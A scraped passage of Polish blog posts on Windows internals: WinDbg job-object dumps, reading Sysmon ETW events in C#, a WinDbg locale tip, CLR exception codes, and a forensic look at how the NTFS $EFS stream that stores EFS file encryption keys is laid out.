   +0x398 LowEdgeLatchFilter : 0
   +0x39c OwnedHighEdgeFilters : 0
   +0x3a0 NotificationLink : (null)
   +0x3a8 CurrentJobMemoryUsed : 0x907
   +0x3b0 NotificationInfo : (null)
   +0x3b8 NotificationInfoQuotaReference : (null)
   +0x3c0 NotificationPacket : (null)
   +0x3c8 CpuRateControl   : 0xffffe000`01e08240 _JOB_CPU_RATE_CONTROL
   +0x3d0 EffectiveSchedulingGroup : 0xffffe000`01e082c0 Void
   +0x3d8 ReadyTime        : 0
   +0x3e0 MemoryLimitsLock : _EX_PUSH_LOCK
   +0x3e8 SiblingJobLinks  : _LIST_ENTRY [ 0xffffe000`01f43f38 - 0xffffe000`01f43f38 ]
   +0x3f8 ChildJobListHead : _LIST_ENTRY [ 0xffffe000`01f43f48 - 0xffffe000`01f43f48 ]
   +0x408 ParentJob        : (null)
   +0x410 RootJob          : 0xffffe000`01f43b50 _EJOB
   +0x418 IteratorListHead : _LIST_ENTRY [ 0xffffe000`01f43f68 - 0xffffe000`01f43f68 ]
   +0x428 AncestorCount    : 0
   +0x430 Ancestors        : (null)
   +0x438 Accounting       : _EPROCESS_VALUES
   +0x488 ShadowActiveProcessCount : 1
   +0x48c SequenceNumber   : 0
   +0x490 TimerListLock    : 0
   +0x498 TimerListHead    : _LIST_ENTRY [ 0xffffe000`01f43fe8 - 0xffffe000`01f43fe8 ]
   +0x4a8 JobFlags         : 0x1800060
   +0x4a8 CloseDone        : 0y0
   +0x4a8 MultiGroup       : 0y0
   +0x4a8 OutstandingNotification : 0y0
   +0x4a8 NotificationInProgress : 0y0
   +0x4a8 UILimits         : 0y0
   +0x4a8 CpuRateControlActive : 0y1
   +0x4a8 OwnCpuRateControl : 0y1
   +0x4a8 Terminating      : 0y0
   +0x4a8 WorkingSetLock   : 0y0
   +0x4a8 JobFrozen        : 0y0
   +0x4a8 Background       : 0y0
   +0x4a8 WakeNotificationAllocated : 0y0
   +0x4a8 WakeNotificationEnabled : 0y0
   +0x4a8 WakeNotificationPending : 0y0
   +0x4a8 LimitNotificationRequired : 0y0
   +0x4a8 ZeroCountNotificationRequired : 0y0
   +0x4a8 CycleTimeNotificationRequired : 0y0
   +0x4a8 CycleTimeNotificationPending : 0y0
   +0x4a8 TimersVirtualized : 0y0
   +0x4a8 JobSwapped       : 0y0
   +0x4a8 ViolationDetected : 0y0
   +0x4a8 EmptyJobNotified : 0y0
   +0x4a8 NoSystemCharge   : 0y0
   +0x4a8 DropNoWakeCharges : 0y1
   +0x4a8 NoWakeChargePolicyDecided : 0y1
   +0x4a8 SpareJobFlags    : 0y0000000 (0)
   +0x4ac EffectiveHighEdgeFilters : 0

Niestety brakuje nam symboli, więc znając opis struktury, możemy pokusić się o zrzucenie jej zawartości

kd> dd 0xffffe000`01e08240 L2
ffffe000`01e08240  0000000100001770

Przy czym 1 określa, że mamy do czynienia z cpu rate, natomiast 1770 tłumaczy się na:

kd> .formats 00001770
Evaluate expression:
  Hex:     00000000`00001770
  Decimal: 6000
  Octal:   0000000000000000013560
  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00010111 01110000
  Chars:   .......p
  Time:    Thu Jan 01 02:40:00 1970
  Float:   low 8.40779e-042 high 0
  Double:  2.96439e-320

co zgodnie z dokumentacją należy interpretować jako 60 * 100, czyli 60% cpu rate.

Zobaczmy przy okazji jak wyglądał obiekt zadań w Windows 7 x64

kd> dt nt!_ejob
   +0x000 Event            : _KEVENT
   +0x018 JobLinks         : _LIST_ENTRY
   +0x028 ProcessListHead  : _LIST_ENTRY
   +0x038 JobLock          : _ERESOURCE
   +0x0a0 TotalUserTime    : _LARGE_INTEGER
   +0x0a8 TotalKernelTime  : _LARGE_INTEGER
   +0x0b0 ThisPeriodTotalUserTime : _LARGE_INTEGER
   +0x0b8 ThisPeriodTotalKernelTime : _LARGE_INTEGER
   +0x0c0 TotalPageFaultCount : Uint4B
   +0x0c4 TotalProcesses   : Uint4B
   +0x0c8 ActiveProcesses  : Uint4B
   +0x0cc TotalTerminatedProcesses : Uint4B
   +0x0d0 PerProcessUserTimeLimit : _LARGE_INTEGER
   +0x0d8 PerJobUserTimeLimit : _LARGE_INTEGER
   +0x0e0 MinimumWorkingSetSize : Uint8B
   +0x0e8 MaximumWorkingSetSize : Uint8B
   +0x0f0 LimitFlags       : Uint4B
   +0x0f4 ActiveProcessLimit : Uint4B
   +0x0f8 Affinity         : _KAFFINITY_EX
   +0x120 PriorityClass    : UChar
   +0x128 AccessState      : Ptr64 _JOB_ACCESS_STATE
   +0x130 UIRestrictionsClass : Uint4B
   +0x134 EndOfJobTimeAction : Uint4B
   +0x138 CompletionPort   : Ptr64 Void
   +0x140 CompletionKey    : Ptr64 Void
   +0x148 SessionId        : Uint4B
   +0x14c SchedulingClass  : Uint4B
   +0x150 ReadOperationCount : Uint8B
   +0x158 WriteOperationCount : Uint8B
   +0x160 OtherOperationCount : Uint8B
   +0x168 ReadTransferCount : Uint8B
   +0x170 WriteTransferCount : Uint8B
   +0x178 OtherTransferCount : Uint8B
   +0x180 ProcessMemoryLimit : Uint8B
   +0x188 JobMemoryLimit   : Uint8B
   +0x190 PeakProcessMemoryUsed : Uint8B
   +0x198 PeakJobMemoryUsed : Uint8B
   +0x1a0 CurrentJobMemoryUsed : Uint8B
   +0x1a8 MemoryLimitsLock : _EX_PUSH_LOCK
   +0x1b0 JobSetLinks      : _LIST_ENTRY
   +0x1c0 MemberLevel      : Uint4B
   +0x1c4 JobFlags         : Uint4B

Jak widać, zmian jest co niemiara, część ustawień joba została przeniesiona z innych miejsc (np. win32k!tagW32JOB), sporo dodano (child jobs, sibling jobs, etc.). Niestety nie znam żadnego narzędzia, które uwzględniałoby te zmiany - w chwili obecnej ani Process Hacker, ani Sysinternalsowy Process Explorer nie pokazują szczegółów związanych z nowościami i trzeba posiłkować się własnymi narzędziami (z tego powodu nie robiłem zrzutów dla zakładki jobs).

Proponuję rozejrzeć się po systemie w poszukiwaniu różnego rodzaju zadań i powiązanych z nimi procesów - kolorki w PH oraz PE pozwalają szybko namierzyć takie procesy.
Jakiś czas temu Sebastian pisał o wykorzystaniu zadań do ustawiania maksymalnego rozmiaru commited memory (joby umożliwiają także ustawienie max reserved memory) - sprawdzajcie zatem błędy OutOfMemoryException (tak nieco na marginesie wbrew pozorom jest to niezwykle częsty wyjątek).

Mam nadzieję, że w przyszłości wrócę jeszcze do obiektów zadań, bo czuję, że temat nie został jeszcze nawet nadgryziony :)

(*) Linkowany tekst Davida Leblanca (współautora m.in. ‘Writing Secure Code’) pisany był w 2007 r. i część problemów, o których pisał David jest już nieaktualna: od Windows 8 można tworzyć zagnieżdżone zadania, a także przypisywać proces do wielu zadań.

Sesja na VirtualStudy.pro o automatyzacji testów dla procedur składowanych i funkcji w SQL Server

$
0
0
Wznowiłem sesje na Virtual Study. Zapraszam. Link tutaj.



Zagadka debugtywistyczna

Sysmon

$
0
0

Na początku sierpnia 2014 r Microsoft (Sysinternals) udostępnił nowe narzędzie analityczne: Sysmon. Czas skrobnąć kilka słów o tym potworze..

Wprowadzenie

Sysmon to zestaw sterownik (sysmon.sys) + usługa (sysmon.exe), które służą do monitorowania niektórych aktywności w systemie:
- start procesu (Process Create);
- zmiana czasu utworzenia pliku (File creation time change);
- połączenia sieciowe (Network connection);
- usunięcie pliku (File delete);
- zmiana zawartości schowka (Clipboard change)
+ dodatkowe związane z pracą usługi (Sysmon service state, error report)
przy czym w wersji dostępnej publicznie tylko trzy pierwsze są aktywne.

Wybór właśnie tych spośród milionów dostępnych w systemie nie jest przypadkowy i wiąże się ściśle z tym, o czym Mark Russinovich mówił pod koniec września w ramach prezentacji Sysmona na Defrag Tools - wsparciem w walce z malware. Sterownik skrupulatnie zbiera te zdarzenia, aby następnie usługa mogła wrzucić je do wspólnego kotła ETW i zapisać w dzienniku zdarzeń.

Rys 1. Ustawienia logu Sysmona

W zasadzie pozostaje nam podłączenie się do tego żródełka i wyciągnięcie z niego tego, co nas interesuje.

CreateProcess

O tym zdarzeniu pisałem już na blogu wielokrotnie. Pokazałem jak zebrać interesujące nas informacje podczas startu windowsów debugując system w trybie jądra oraz włączając logowanie odpowiednich zdarzeń w NT Kernel Loggerze. Teraz, dzięki Sysmonowi mamy możliwość zebrania tych informacji w ramach sesji ETW w user mode, więc nie musimy już blokować sesji kernel (w Windows 7 mamy w danym momencie dostępną tylko jedną, w Windows 8/8.1 - osiem) aby otrzymać te zdarzenia, dostając dodatkowo sumiennie wyliczony przez sterownik skrót pliku obrazu tworzonego procesu oraz wiele innych ciekawych informacji.
W zasobach sysmon.exe można znaleźć plik zawierający manifest ETW, który możemy zapisać jako sysmon.man, a następnie z jego pomocą przygotować odpowiedni parser.

Rys 2. Zasoby w sysmon.exe

Mając odpowiedni parser możemy stworzyć własną sesję i samodzielnie podpiąć się do strumienia zdarzeń przepływających przez ETW, oczywiście wybierając to, co dla nas jest najciekawsze. W tym celu sięgamy do biblioteki Microsoft.Diagnostics.Tracing.TraceEvent.dll, a reszta to już z górki.

using (sysmonUserSession =new TraceEventSession("ZineNetSysmonEventsSession"))
{
  sysmonUserSession.EnableProvider(SysmonTraceEventParser.ProviderGuid, TraceEventLevel.Always);
  var sysmonSession =new SysmonTraceEventParser(sysmonUserSession.Source);
  sysmonSession.SysmonTaskProcessCreate += sysmonSession_SysmonTaskProcessCreate;

  sysmonUserSession.Source.Process();
}

W funkcji obsługującej napływające pięknie przeparsowane zdarzenia możemy pokusić się o sięgnięcie do bazy ‘lubianych’ skrótów oraz poddać program weryfikacji pod kątem ewentualnego podpisu. Oczywiście możemy też zrobić tysiąc innych rzeczy, wedle własnego uznania, w tym np. utłuc niechciany proces ;)
Niech przykładem będzie napisany przeze mnie mały toolik, który dostępny jest tu: [KLIK]. (Oczywiście wymaga zainstalowanego i chodzącego Sysmona ;))

Do dyspozycji mamy następujące właściwości:
UtcTime: 2014-10-17 19:16
ProcessGuid: {000006b2-6af0-5441-0000-00106ccc4501}
ProcessId: 7316
Image: C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
CommandLine: "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler
User: ZARZĄDZANIE NT\SYSTEM
LogonGuid: {000006b2-4736-5441-0000-0020e7030000}
LogonId: 0x3e7
TerminalSessionId: 0
IntegrityLevel: System
HashType: MD5
Hash: 506708142BC63DABA64F2D3AD1DCD5BF
ParentProcessGuid: {000006b2-473e-5441-0000-0010db180200}
ParentProcessId: 1648
ParentImage: C:\Windows\system32\taskeng.exe
ParentCommandLine: taskeng.exe {18D2B821-85A2-4D84-9A91-62B9E7ADEDA2} S-1-5-18:NT AUTHORITY\System:Service:

Prawdziwa kopalnia wiedzy! Guidy dają nam gwarancję sensownego identyfikowania procesów (identyfikatory wracają do puli dostępnych po zakończeniu procesu!) oraz wiązania go z procesem macierzystym. Mamy na widelcu proces macierzysty, wszystkie parametry startowe (command line) zarówno samego procesu, jak i jego rodzica, a także id sesji, usera oraz oczywiście skrót pliku obrazu. Czego chcieć więcej? :)

Łyżka dziegciu

Niestety, pomimo zapewnień Marka Russinovicha o kilkunastomiesięcznym przetestowaniu sysmona w wewnętrznej sieci Microsoft, pierwsza wersja nie jest pozbawiona wad. Poniżej te najważniejsze:
1. Windows XP. To nie jest martwy system, niestety. Większość narzędzi sysinternals działa bez problemu na Windows XP, jednak nie sysmon. Na stronie poświęconej narzędziu możemy znaleźć wzmiankę dającą płonną nadzieję - ‘w systemach Vista i nowszych zdarzenia zapisywane są do logu w ramach dziennika aplikacji i usług/Microsoft/Windows/Sysmon/Operational, a we wcześniejszych systemach do logu systemowego. No cóż, jakoś zapomniało się o brakujących eksportach w ntoskrnl.exe, które importowane są w sysmon.sys i sterownik po  prostu nie działa :( (a instaluje się!)

Rys 3. Brakujące eksporty na Windows XP

2. UtcTime. Dlaczego, ach dlaczego informacje zapisywane są w postaci łańcucha znaków, a czas podawany z dokładnością minutową? Na tych 16 bajtach można zmieścić wiek wszechświata zapisany z naprawdę dużą precyzją :) Rozumiem, że zdarzenia pojawiają się w ETW z pewnym opóźnieniem (ok. 4-5 sek), jednak czas zapisywany jest przez driver w momencie tworzenia, więc można pokusić się o większą precyzję.
3. Instalacja z konta systemowego: czasem sterownik zapisywany jest do c:\windows\temp i pomimo zgłoszenia, że wszystko ok, po prostu nie działa. Jest 68 kB log, a w nim pustka. Pozostaje walka z ręczną deinstalacją i ponowną instalacją.
4. Zdarzenia trafiają do logu mocno niedeterministycznie, więc należy liczyć się z tym, że wpis o procesie macierzystym pojawi się po potomku.
5. Log domyślnie ma rozmiar 64MB, a każdy z wpisów ok. 1 kB. Wygląda więc na to, że zmieści się cała masa zdarzeń i nic nie zgubimy. Nic bardziej mylnego - wystarczy jeden instalator, który wykona całą masę operacji na plikach i zostaniemy z jednym zdarzeniem create process z ostatnich kilku dni - zdarzenia file creation time change trafiają do tego samego logu, co create process i network connection.
6. Niestety najgorsze przed nami. Sysmon w nieco ponad 5% przetestowanych przeze mnie przypadków (przy sumie ok. 1 mln zdarzeń create process) podaje błędny guid dla parent process. Okazuje się, że czasem następuje przekłamanie w guidach - w części tych przypadków na podstawie innych właściwości byłem w stanie powiązać proces z jego rodzicem, jednak w wielu pozostałych nie byłem w stanie tego zrobić. Wygląda to na błąd w sterowniku, ale przyznaję, że nie przyglądałem się bliżej.

Podsuma

Czy pomimo tych wszystkich niedoskonałości warto korzystać z sysmona? Ależ oczywiście, że tak! Wpływ na wydajność systemu jest praktycznie pomijalny. Dostarcza całą masę informacji do zbiornika w user sessions, a to, że czasem jest problem z określeniem parenta to drobiazg - można tę informację znaleźć gdzie indziej, lub po prostu jej nie potrzebować - czy musimy mieć online’owy graf procesów? :) Zapychanie logu to już zupełnie pomijalna sprawa - poza zabawą w powiększanie logu w ramach eventlogu, lub jego centralizacją, wystarczy skorzystać z mojej przykładowej aplikacji i samemu kolekcjonować interesujące nas zdarzenia, bez obawy o ich zgubienie, lub nadpisanie.


Lokalizacja !error i krótkie przypomnienie

$
0
0

Dziś krótko: mały hint + drobne przypomnionko. Zacznijmy od cHincika ;)

1. Hint

Używając WinDbg na polskiej wersji językowej możemy oglądać komunikaty podobne do tego:

0:041> !gle
LastErrorValue: (Win32) 0 (0) - Operacja uko czona pomy lnie.
LastStatusValue: (NTSTATUS) 0xc000000d - Do us

0:041> !error 0xc000000d
Error code: (NTSTATUS) 0xc000000d (3221225485) - Do us

I o ile w przypadku LastErrorValue mamy tekst, z którego polskie znaki zostały po prostu usunięte i bez większego problemu możemy się domyśleć o co chodzi, to jednak LastStatusValue (także w wersji bezpośredniej z użyciem !error) nie daje nam tej szansy. A więc - albo sięgamy po zewnętrzny tool (do samodzielnego napisania w 5 min. po sięgnięciu po funkcję FormatMessage), albo:

0:041> .locale polish
Locale: Polish_Poland.1250
0:041> !gle
LastErrorValue: (Win32) 0 (0) - Operacja ukończona pomyślnie.
LastStatusValue: (NTSTATUS) 0xc000000d - Do usługi lub funkcji przekazano nieprawidłowy parametr.
0:041> !error 0xc000000d
Error code: (NTSTATUS) 0xc000000d (3221225485) - Do usługi lub funkcji przekazano nieprawidłowy parametr.

Możemy użyć również wersji .locale .1250, co przyniesie ten sam efekt.

2. Przypomnienie

Kilka lat temu pisałem o kodzie wyjątku zgłaszanego do SEH przez CLR: [KLIK]

Od wersji .NET 4.0 mamy zmianę:

0:000> kb
  *** Stack trace for last set context - .thread/.cxr resets it
 # ChildEBP RetAddr  Args to Child             
00 002eed38 67c52a42 e0434352 00000001 00000005 KERNELBASE!RaiseException+0x58
01 002eeddc 67c5337f 00000000 4c18c1b5 002eeee0 clr!RaiseTheExceptionInternalOnly+0x276

0:000> .formats e0434352
Evaluate expression:
  Hex:     e0434352
  Decimal: -532462766
  Octal:   34020641522
  Binary:  11100000 01000011 01000011 01010010
  Chars:   .CCR
  Time:    ***** Invalid
  Float:   low -5.62807e+019 high 0
  Double:  1.85892e-314

A zatem: dla wersji .NET 4.0+ szukajcie w dumpach wyjątków o kodzie .CCR, a dla wcześniejszych - .COM

Zestawienie innych ciekawych kodów można znaleźć w Community Additions pod opisem StackOverflowException: [KLIK]

$EFS, cz. 1

$
0
0
System operacyjny dostarcza wiele usług, których szczegóły implementacyjne nie interesują nas tak długo, jak długo wszystko jest w porządku i możemy żyć sobie w błogiej nieświadomości. Jednak pad dysku, poważne uszkodzenie systemu, lub inna przyczyna, która uniemożliwia nam normalne uruchomienie systemu (oraz wszelkie inne powody, które balansują na krawędzi prawa) zachęcają nas do poznania niektórych tajemnic systemu, skrywanych pod przyjaznymi oknami dialogowymi eksploratora, lub lakonicznymi komunikatami narzędzi konsolowych. Sięgamy wówczas po narzędzia, o których istnieniu nie zdawaliśmy sobie sprawy i w ciągu paru chwil wpadamy między śrubki i koła zębate, czy raczej pojedyncze bity powtykane tu i ówdzie w systemie.
Jednym z takich arcyciekawych, niezwykle bogatych w walory edukacyjne obszarów jest EFS - podsystem umożliwiający szyfrowanie plików oraz katalogów na partycjach NTFS. I jeśli chcesz wziąć udział w podróży, w czasie której dowiesz się jak działa EFS, w którym miejscu rozdziału 12 'Windows Internals' Mark Russinovich wprowadza Cię w błąd, a także - jak zrobiłem to wcześniej ja, a później Grzesiek Tworek, który słuchał moich opowieści o zabawach z EFS - być może stwierdzisz, że 'ciężko uwierzyć, że tak to zrobili', to usiądź wygodnie i rozpocznij lekturę tego i kolejnych tekstów.

Wprowadzenie

Jakkolwiek w poniższym tekście nie zamierzam opisywać narzędzi, z pomocą których można zarządzać EFS, to jednak minimalny wstęp należy uczynić. Loguję się zatem jako Admin i w katalogu c:\Roboczy\EFS tworzę plik encrypted_file.txt o zawartości

1234567890abcde

zapisany z kodowaniem ANSI - plik ma zatem rozmiar 15. bajtów. Otwieram właściwości pliku, przechodzę do zakładki General, klikam Advanced i zaznaczam 'Encrypt contents to secure data' (Ogólne -> Zaawansowane, 'Szyfruj zawartość, aby zabezpieczyć dane'). Zatwierdzam kolejne komunikaty, klikam Apply i wchodząc po raz kolejny do okna 'Advanced Attributes' mogę podejrzeć szczegóły ('Details'), a wszystko to razem ilustruje Rys 1.


Rys 1. Szczegóły zaszyfrowanego pliku.

Jak widać, mamy jednego użytkownika, który ma dostęp do tego pliku i żadnego wpisu na liście certyfikatów pozwalających na odzyskanie pliku. Tu drobna uwaga: gdybyśmy podobną czynność powtórzyli w środowisku domenowym, to najprawdopodobniej na liście Recovery certificates pojawiłby się wpis powiązany z administratorem domeny i jego certyfikatem.
Plik zmienił kolor swojej nazwy w eksploratorze windows na zielony i jest to niechybny dowód na to, że od tej pory tylko Admin może odczytać jego zawartość, a próba otwarcia tego pliku przez innych użytkowników skończy się lakonicznym 'Access is denied', pomimo istnienia ACLi zezwalających na dowolny dostęp do pliku.
Oczywiście, gdybyśmy powtórzyli te czynności jako zwykły użytkownik, to będąc administratorem systemu, ani nawet samym SYSTEMem nie uzyskamy dostępu do zawartości pliku, a precyzyjniej odszyfrowanej zawartości.
I to tyle słowem wstępu. Czas przejść do mięska!
Zanim jednak to zrobimy, sugeruję zajrzeć do wspomnianej wcześniej książki 'Windows Internals' Marka Russinovicha, a dokładniej podrozdziału 'Encrypting File System Security' w rozdziale 12 -  'File Systems' (wydanie 6, tom II), a jeszcze lepiej - całego rozdziału 12. Nie jest to konieczne dla zrozumienia reszty, ale na pewno bardzo pomocne.

$EFS

NTFS obsługuje alternatywne strumienie plików (ADS), pośród których te najbardziej nas interesujące w kontekście EFS to atrybut $DATA, który zawiera dane pliku oraz $EFS typu $LOGGED_UTILITY_STREAM, o którym za chwilę więcej. Niestety, żadne z wbudowanych narzędzi nie daje bezpośredniego wglądu we wspomniane atrybuty (ani dir /q, ani nawet streams z pakietu narzędzi Systinernals) i aby się do nich dobrać, potrzebujemy nieco innego podejścia. Ja sięgnąłem po bibliotekę The Sleuth Kit (TSK), napisanej w C oraz biblioteki sleuthkit-sharp, która po pewnych przeróbkach okazała się bardzo interesującym rozwiązaniem. Szczególnie ciekawy jest sposób, w jaki z poziomu C# dostajemy się do funkcji napisanych w C i dostępnych w ramach statycznej biblioteki (.lib) TSK (bo TSK to właśnie .lib do zlinkowania w projektach c/c++). Przy samodzielnych przeróbkach sugeruję zapamiętać, że CallingConvention to Cdecl i w przypadku konieczności stosowania delegatów jako natywnych callbacków polecam stosować atrybut [MarshalAs(UnmanagedType.FunctionPtr)] w parametrach importowanych funkcji, np.:

[DllImport(NativeLibrary, CallingConvention = CallingConvention.Cdecl)]

internalstaticexternbyte tsk_fs_file_walk_type(FileHandle a_fs_file, int a_type, UInt16 a_id, UInt32 a_flags, [MarshalAs(UnmanagedType.FunctionPtr)] TSK_FS_FILE_WALK_CB a_action, IntPtr a_ptr);


Z drugiej strony, korzystając z funkcji NtQueryInformationFile z ntdll.dll oraz wartości FILE_INFORMATION_CLASS.FileInternalInformation (6) można dosyć szybko dobrać się do interesującego nas węzła pliku (inode) poprzez jego reference number.
Pamiętając dodatkowo, że atrybut $DATA to 128, a $LOGGED_UTILITY_STREAM to 256 możemy pokusić się o zrzucenie zawartości obu atrybutów do osobnych plików.
Tak oto uzyskujemy plik encrypted_file.txt.data oraz encrypted_file.txt.efs z odpowiednimi zawartościami.

Dla tych z was, którzy nie chcą wchodzić w szczegóły TSK i brudzić sobie rąk siedzeniem w kodzie polecam użycie kolejno narzędzi z zestawu TSK (uwaga! bezpośredni dostęp do dysku wymaga uprawnień administratora):

>mmls \\.\PhysicalDrive0

W wyniku otrzymujemy tablicę partycji, bierzemy offset startowy partycji NTFS zawierającej nasz plik, niech to będzie np. 731136. Przeczesujemy rekursywnie (-r) system plików w poszukiwaniu naszego pliku (-p <- print full path):

>fls -o731136 -r -p \\.\PhysicalDrive0

i tak uzyskany inode wrzucamy do:

>istat -o731136 \\.\PhysicalDrive0 1898365

dzięki czemu uzyskujemy informacje o powiązanych strumieniach, w tym nasz $EFS - powiedzmy 256-8. Zrzucamy jego zawartość do pliku

>icat -o731136 \\.\PhysicalDrive0 1898365-256-8 > encrypted_file.txt.efs

i powtarzamy to dla $DATA. Zawartość tego ostatniego ilustruje Rys 2.



Rys 2. Zawartość $DATA zaszyfrowanego pliku

Dla testu sugeruję sprawdzić zawartość $DATA dla innych, niezaszyfrowanych plików i upewnić się, że wszystko się zgadza i niczego nie pokręciliśmy.
No cóż - tak, jak możemy się spodziewać, zawartość jest zaszyfrowana. Wybieramy długą ścieżkę i spróbujemy odzyskać oryginalne dane.

API EFS

Zacznijmy od skorzystania z narzędzia Sysinternals, efsdump:

>efsdump.exe encrypted_file.txt

EFS Information Dumper v1.02
Copyright (C) 1999 Mark Russinovich
Systems Internals - http://www.sysinternals.com

C:\Roboczy\EFS\encrypted_file.txt:
DDF Entry:
    VM7\Admin:
        Admin(Admin@VM7)
DRF Entry:

Staruszek efsdump użył funkcji QueryUsersOnEncryptedFile z winefs.h (advapi32.dll) aby dobrać się do listy użytkowników z powiązanych certyfikatów i to w zasadzie wszystko. Wiemy, ze w sekcji DDF (za chwilę więcej) jest wpis odnoszący się do usera VM7\Admin i brak jakiegokolwiek wpisu w sekcji DRF. Moglibyśmy spędzić jeszcze chwilkę przeglądając API EFS (np. funkcję AddUsersToEncryptedFile), ale na tym poprzestaniemy i przejdziemy do samej zawartości atrybutu $EFS.


Analiza zawartości $EFS

Przyjrzyjmy się bliżej zawartości strumienia $EFS. Russinovich w swojej książce opisuje z grubsza całą strukturę i w zasadzie opierając się na tym opisie oraz pewnych domysłach (stringi zapisane są w kodowaniu UTF-16LE i poprzedzone intem zawierającym długość łańcucha; poszczególne wpisy w sekcjach DDF/DRF muszą być poprzedzone nagłówkiem zawierającym liczbę + offsety do odpowiednich pól; cały plik zaczyna się od nagłówka zawierającego odniesienia do poszczególnych sekcji (DDF/DRF) i tym podobnych) można pokusić się o odtworzenie całej struktury. Można również zajrzeć do pliku layout.h ze sterownika linuxowego ntfs-3g i skorzystać z opisanych tam struktur.

DDF i DRF

Tuż po nagłówku pliku, EFS umieszcza Data Decryption Fields, a następnie Data Recovery Fields, jedne i drugie zawierające szczegóły związane z kluczami szyfrującymi oraz użytymi certyfikatami.
Poczynając od zgrubnego podziału (Header, DDFs, DRFs) uzyskujemy Rys 3.


Rys 3. Plik .efs z zaznaczonymi nagłówkiem oraz sekcją DDF

W przypadku, gdyby były jeszcze jakieś wpisy w sekcji DRFs, to byłyby one umieszczone bezpośrednio po sekcji DDFs, w której w naszym przypadku mamy tylko jeden wpis. Bliższe szczegóły odnajdziemy na Rys 4.


Rys 4. Najciekawsze elementy sekcji DDF ze strumienia $EFS

Przy czym szczegółowa legenda znajduje się na Rys 5.


Rys 5. Strumień $EFS po rozpisaniu na poszczególne struktury

Z naszego punktu widzenia najciekawsze są elementy zaznaczone kolorami:
  1. [ ] - SID użytkownika, z którym powiązany jest certyfikat (S-1-5-21-580747136-2243477503-2994681153-1000);
  2. [ ] - thumbprint (odcisk palca) certyfikatu: EFF5EDAB8123D06B6EFEA7D87716B03F9C8F48CD;
  3. [ ] - 256 bajtów zawierających zaszyfrowany FEK.

Jako za(na)stępcę narzędzia efsdump Sysinternalsów używam własnego toolka, który zbiera powyższe dane 'do kupy' i prezentuje jak poniżej:

>EFSAnalysis.exe encrypted_file.txt.efs

EFS Stream Header:
Len: 664, state: 0, ver: 2, crypto api ver: 0
Num of DDFs: 1, DRFs: 0

DDFs:
SID: S-1-5-21-580747136-2243477503-2994681153-1000:
Certificate:
   Thumbprint: EFF5EDAB8123D06B6EFEA7D87716B03F9C8F48CD
   Container name: 0d29406b-f9e6-4659-90e4-c407201049d2
   Provider name: Microsoft Enhanced Cryptographic Provider v1.0
   User name: Admin(Admin@VM7)
Encrypted FEK:
FE 1B 0D 07 2F 56 96 09 6C D8 DD 54 92 FF 23 2E   ..../V?.lOYT?.#.
15 93 D2 4C 5F 4D 76 F6 35 DB 75 BF 5C 24 4C D5   .?OL_Mvö5Uu¿\$LO
46 12 B7 DD C2 09 F5 DB 0E 01 CC E0 51 B0 A6 87   F.·YA.oU..IàQ°▌?
15 AB A9 FC 56 BE 3C BD 0A BA C6 D8 DF 6A DE 4B   .«cüV_<½.ºÆOßj_K
78 BB E0 CC 2F 88 86 BC 20 23 BB 86 EB 72 AC 4B   x»àI/??¼.#»?ër¬K
4F AE 05 9F 1A 99 BC BC 80 52 FB D1 8B 7B 90 B1   Or.?.?¼¼?RûÑ?{?±
8B E9 B7 A4 85 D0 FF 18 3C C9 C5 8C 9A 7A 1C 04   ?é·☼?D..<ÉÅ??z..
D6 C7 A6 0B A8 76 4E 9C 87 3E B8 DC 62 C3 ED 57   ÖÇ▌."vN??>,ÜbAíW
CB FE 01 B8 20 91 87 EB 96 18 14 0B DF 2E E4 F8   E..,.??ë?...ß.äo
7A 5D C8 1D 77 0F E6 9A 7F 89 B9 C0 E5 8E DC 4D   z]E.w.æ?.?1Aå?ÜM
5A C5 9C 3E 05 24 89 21 C9 79 73 9F 42 FE 64 AC   ZÅ?>.$?!Éys?B.d¬
4E 28 B6 25 1A 58 0E A0 D0 68 4B 38 6B 78 6D F6   N(¶%.X. DhK8kxmö
41 6A 8A 70 24 CB 45 48 11 81 C9 06 9B 75 18 A1   Aj?p$EEH.?É.?u.¡
10 33 46 9B 63 D9 4E CF 44 C5 4E 4A 58 F6 F8 15   .3F?cUNIDÅNJXöo.
BF FD 43 98 74 2B E5 55 9A 9E FF 77 55 5B CD F9   ¿yC?t+åU??.wU[Iù
CC 48 31 BC 51 17 67 F5 61 BB A2 C4 88 2A 42 83   IH1¼Q.goa»¢Ä?*B?


FEK


Czym jest FEK? FEK (File Encryption Key) to całkowicie przypadkowy ciąg bajtów, którego system użył do zaszyfrowania zawartości strumienia $DATA w momencie, kiedy potwierdziliśmy w eksploratorze chęć zaszyfrowania pliku. Następnie system użył klucza publicznego certyfikatu użytkownika (Admin, certyfikat z przeznaczeniem do użycia w EFS) o thumbprincie opisanym w pkt. 2 i zaszyfrował nim FEK, po czym tak uzyskany ciąg 256 bajtów zapisał w omawianej sekcji DDF. Szczegóły dotyczące użytych algorytmów oraz ich parametrów omówię w kolejnych częściach. Już teraz jednak napiszę, że:
  1. FEK został zaszyfrowany przy użyciu RSA z kluczem 2048 bitowym;
  2. Dane pliku zostały zaszyfrowane z użyciem algorytmu AES256 w trybie CBC, a nie - jak pisze Russinovich w podrozdziale ‘Encrypting File Data’ - DESX, lub 3DES. Tak było, owszem, ale w poprzednich wersjach Windows, w Windows 7 domyślnie stosowany jest AES. Odnoszę wrażenie, że Mark padł ofiarą ctrl+c, ctrl+v z poprzednich edycji książki, tym bardziej, że na samym początku rozdziału; w 3 akapicie pisze:
    "By default, EFS will use the Advanced Encryption Standard (AES) for symmetric encryption (256-bit key) and the Rivest-Shamir-Adleman (RSA) public key algorithm for assymetric encryption (2,048-bit keys)."
    No cóż, happens :)
Wrócmy jednak do meritum.
Co się dzieje, gdy użytkownik (Admin) chce dodać kogoś do listy pozwalającej na dostęp do pliku? System wykorzystuje klucz prywatny powiązany z certyfikatem użytkownika (Admin) i odszyfrowuje FEK, po czym dodaje kolejny wpis DDF, w którym umieszcza thumbprint certyfikatu użytkownika, któremu chcemy zezwolić na dostęp (powiedzmy, User) oraz wykorzystując klucz publiczny tegoż certyfikatu szyfruje FEK, i tak zaszyfrowany ciąg zapisuje w odpowiednim miejscu sekcji klucza DDF.
Jak widać, klucz użyty do szyfrowania pliku jest jeden i aby się do niego dobrać, musimy mieć dostęp do klucza prywatnego któregokolwiek z uprawnionych użytkowników (z sekcji DDF, lub DRF).

